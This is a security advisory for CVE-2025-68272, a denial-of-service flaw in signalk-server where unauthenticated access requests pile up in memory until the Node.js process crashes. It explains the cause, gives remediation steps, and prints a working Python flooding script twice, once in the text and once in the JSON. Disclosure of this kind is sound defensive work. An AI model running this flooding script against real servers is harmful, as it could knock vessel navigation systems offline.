GHSA-7RQC-FF8M-7J23
Vulnerability from github – Published: 2026-01-02 15:20 – Updated: 2026-01-02 15:20Summary
A Denial of Service (DoS) vulnerability allows an unauthenticated attacker to crash the SignalK Server by flooding the access request endpoint (/signalk/v1/access/requests). This causes a "JavaScript heap out of memory" error due to unbounded in-memory storage of request objects.
Details
The vulnerability is caused by a lack of rate limiting and improper memory management for incoming access requests.
Vulnerable Code Analysis:
1. In-Memory Storage: In src/requestResponse.js, requests are stored in a simple JavaScript object:
javascript
const requests = {}
2. Unbounded Growth: The createRequest function adds new requests to this object without checking the current size or count of existing requests.
3. Infrequent Pruning: The pruneRequests function, which removes old requests, runs only once every 15 minutes (pruneIntervalRate).
4. No Rate Limiting: The endpoint /signalk/v1/access/requests accepts POST requests from any client without any rate limiting or authentication (by design, as it's for initial access requests).
Exploit Scenario:
1. An attacker sends a large number of POST requests (e.g., 20,000+) or requests with large payloads to /signalk/v1/access/requests.
2. The server stores every request in the requests object in the Node.js heap.
3. The heap memory usage spikes rapidly.
4. The Node.js process hits its memory limit (default ~1.5GB) and crashes with FATAL ERROR: Ineffective mark-compacts near heap limit Allocation failed - JavaScript heap out of memory.
PoC
The following Python script reproduces the crash by flooding the server with requests containing 100KB payloads.
import urllib.request
import json
import threading
import time
# Target Configuration
TARGET_URL = "http://localhost:3000/signalk/v1/access/requests"
PAYLOAD_SIZE_MB = 0.1 # 100 KB per request
NUM_REQUESTS = 20000 # Sufficient to exhaust heap
CONCURRENCY = 50
# Generate a large string payload
LARGE_STRING = "A" * (int(PAYLOAD_SIZE_MB * 1024 * 1024))
def send_heavy_request(i):
try:
payload = {
"clientId": f"attacker-device-{i}",
"description": LARGE_STRING, # Stored in memory!
"permissions": "readwrite"
}
data = json.dumps(payload).encode('utf-8')
req = urllib.request.Request(
TARGET_URL,
data=data,
headers={'Content-Type': 'application/json'},
method='POST'
)
# Short timeout as server might hang
urllib.request.urlopen(req, timeout=5)
except:
pass
def attack():
print(f"[*] Starting DoS Attack on {TARGET_URL}...")
threads = []
for i in range(NUM_REQUESTS):
t = threading.Thread(target=send_heavy_request, args=(i,))
threads.append(t)
t.start()
if len(threads) >= CONCURRENCY:
for t in threads: t.join()
threads = []
if __name__ == "__main__":
attack()
Expected Result: Monitor the server process. Memory usage will increase rapidly, and the server will eventually terminate with an Out of Memory (OOM) error.
Impact
Verified Denial of Service:
During our verification using the provided PoC, we observed the following:
1. Rapid Memory Exhaustion: The Node.js process memory usage increased by approximately 30MB within seconds of starting the attack.
2. Service Instability: Continued execution of the PoC quickly leads to a FATAL ERROR: Ineffective mark-compacts near heap limit Allocation failed - JavaScript heap out of memory crash.
3. Service Unavailability: The server becomes completely unresponsive and terminates, requiring a manual restart to recover. This allows an unauthenticated attacker to easily take the vessel's navigation data server offline.
Remediation
1. Implement Rate Limiting
Use a middleware like express-rate-limit to restrict the number of requests from a single IP address to /signalk/v1/access/requests.
2. Limit Request Storage
Modify src/requestResponse.js to enforce a maximum number of stored requests (e.g., 100). If the limit is reached, reject new requests or evict the oldest ones immediately.
3. Validate Payload Size
Enforce strict limits on the size of the description and other fields in the access request payload.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "signalk-server"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.19.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-68272"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-01-02T15:20:05Z",
"nvd_published_at": "2026-01-01T18:15:40Z",
"severity": "HIGH"
},
"details": "### Summary\nA Denial of Service (DoS) vulnerability allows an unauthenticated attacker to crash the SignalK Server by flooding the access request endpoint (`/signalk/v1/access/requests`). This causes a \"JavaScript heap out of memory\" error due to unbounded in-memory storage of request objects.\n\n### Details\nThe vulnerability is caused by a lack of rate limiting and improper memory management for incoming access requests.\n\n**Vulnerable Code Analysis:**\n1. **In-Memory Storage**: In `src/requestResponse.js`, requests are stored in a simple JavaScript object:\n ```javascript\n const requests = {}\n ```\n2. **Unbounded Growth**: The `createRequest` function adds new requests to this object without checking the current size or count of existing requests.\n3. **Infrequent Pruning**: The `pruneRequests` function, which removes old requests, runs only once every **15 minutes** (`pruneIntervalRate`).\n4. **No Rate Limiting**: The endpoint `/signalk/v1/access/requests` accepts POST requests from any client without any rate limiting or authentication (by design, as it\u0027s for initial access requests).\n\n**Exploit Scenario:**\n1. An attacker sends a large number of POST requests (e.g., 20,000+) or requests with large payloads to `/signalk/v1/access/requests`.\n2. The server stores every request in the `requests` object in the Node.js heap.\n3. The heap memory usage spikes rapidly.\n4. The Node.js process hits its memory limit (default ~1.5GB) and crashes with `FATAL ERROR: Ineffective mark-compacts near heap limit Allocation failed - JavaScript heap out of memory`.\n\n### PoC\nThe following Python script reproduces the crash by flooding the server with requests containing 100KB payloads.\n\n```python\nimport urllib.request\nimport json\nimport threading\nimport time\n\n# Target Configuration\nTARGET_URL = \"http://localhost:3000/signalk/v1/access/requests\"\nPAYLOAD_SIZE_MB = 0.1 # 100 KB per request\nNUM_REQUESTS = 20000 # Sufficient to exhaust heap\nCONCURRENCY = 50\n\n# Generate a large string payload\nLARGE_STRING = \"A\" * (int(PAYLOAD_SIZE_MB * 1024 * 1024))\n\ndef send_heavy_request(i):\n try:\n payload = {\n \"clientId\": f\"attacker-device-{i}\",\n \"description\": LARGE_STRING, # Stored in memory!\n \"permissions\": \"readwrite\"\n }\n data = json.dumps(payload).encode(\u0027utf-8\u0027)\n \n req = urllib.request.Request(\n TARGET_URL, \n data=data, \n headers={\u0027Content-Type\u0027: \u0027application/json\u0027}, \n method=\u0027POST\u0027\n )\n # Short timeout as server might hang\n urllib.request.urlopen(req, timeout=5)\n except:\n pass\n\ndef attack():\n print(f\"[*] Starting DoS Attack on {TARGET_URL}...\")\n threads = []\n for i in range(NUM_REQUESTS):\n t = threading.Thread(target=send_heavy_request, args=(i,))\n threads.append(t)\n t.start()\n \n if len(threads) \u003e= CONCURRENCY:\n for t in threads: t.join()\n threads = []\n\nif __name__ == \"__main__\":\n attack()\n```\n\n**Expected Result:**\nMonitor the server process. Memory usage will increase rapidly, and the server will eventually terminate with an Out of Memory (OOM) error.\n\n### Impact\n**Verified Denial of Service**:\nDuring our verification using the provided PoC, we observed the following:\n1. **Rapid Memory Exhaustion**: The Node.js process memory usage increased by approximately **30MB within seconds** of starting the attack.\n2. **Service Instability**: Continued execution of the PoC quickly leads to a `FATAL ERROR: Ineffective mark-compacts near heap limit Allocation failed - JavaScript heap out of memory` crash.\n3. **Service Unavailability**: The server becomes completely unresponsive and terminates, requiring a manual restart to recover. This allows an unauthenticated attacker to easily take the vessel\u0027s navigation data server offline.\n\n---\n### Remediation\n**1. Implement Rate Limiting**\nUse a middleware like `express-rate-limit` to restrict the number of requests from a single IP address to `/signalk/v1/access/requests`.\n\n**2. Limit Request Storage**\nModify `src/requestResponse.js` to enforce a maximum number of stored requests (e.g., 100). If the limit is reached, reject new requests or evict the oldest ones immediately.\n\n**3. Validate Payload Size**\nEnforce strict limits on the size of the `description` and other fields in the access request payload.",
"id": "GHSA-7rqc-ff8m-7j23",
"modified": "2026-01-02T15:20:05Z",
"published": "2026-01-02T15:20:05Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/SignalK/signalk-server/security/advisories/GHSA-7rqc-ff8m-7j23"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-68272"
},
{
"type": "WEB",
"url": "https://github.com/SignalK/signalk-server/commit/55e3574d8266fbc0ed8e453ad4557073541566f5"
},
{
"type": "PACKAGE",
"url": "https://github.com/SignalK/signalk-server"
},
{
"type": "WEB",
"url": "https://github.com/SignalK/signalk-server/releases/tag/v2.19.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Signal K Server Vulnerable to Denial of Service via Unrestricted Access Request Flooding"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.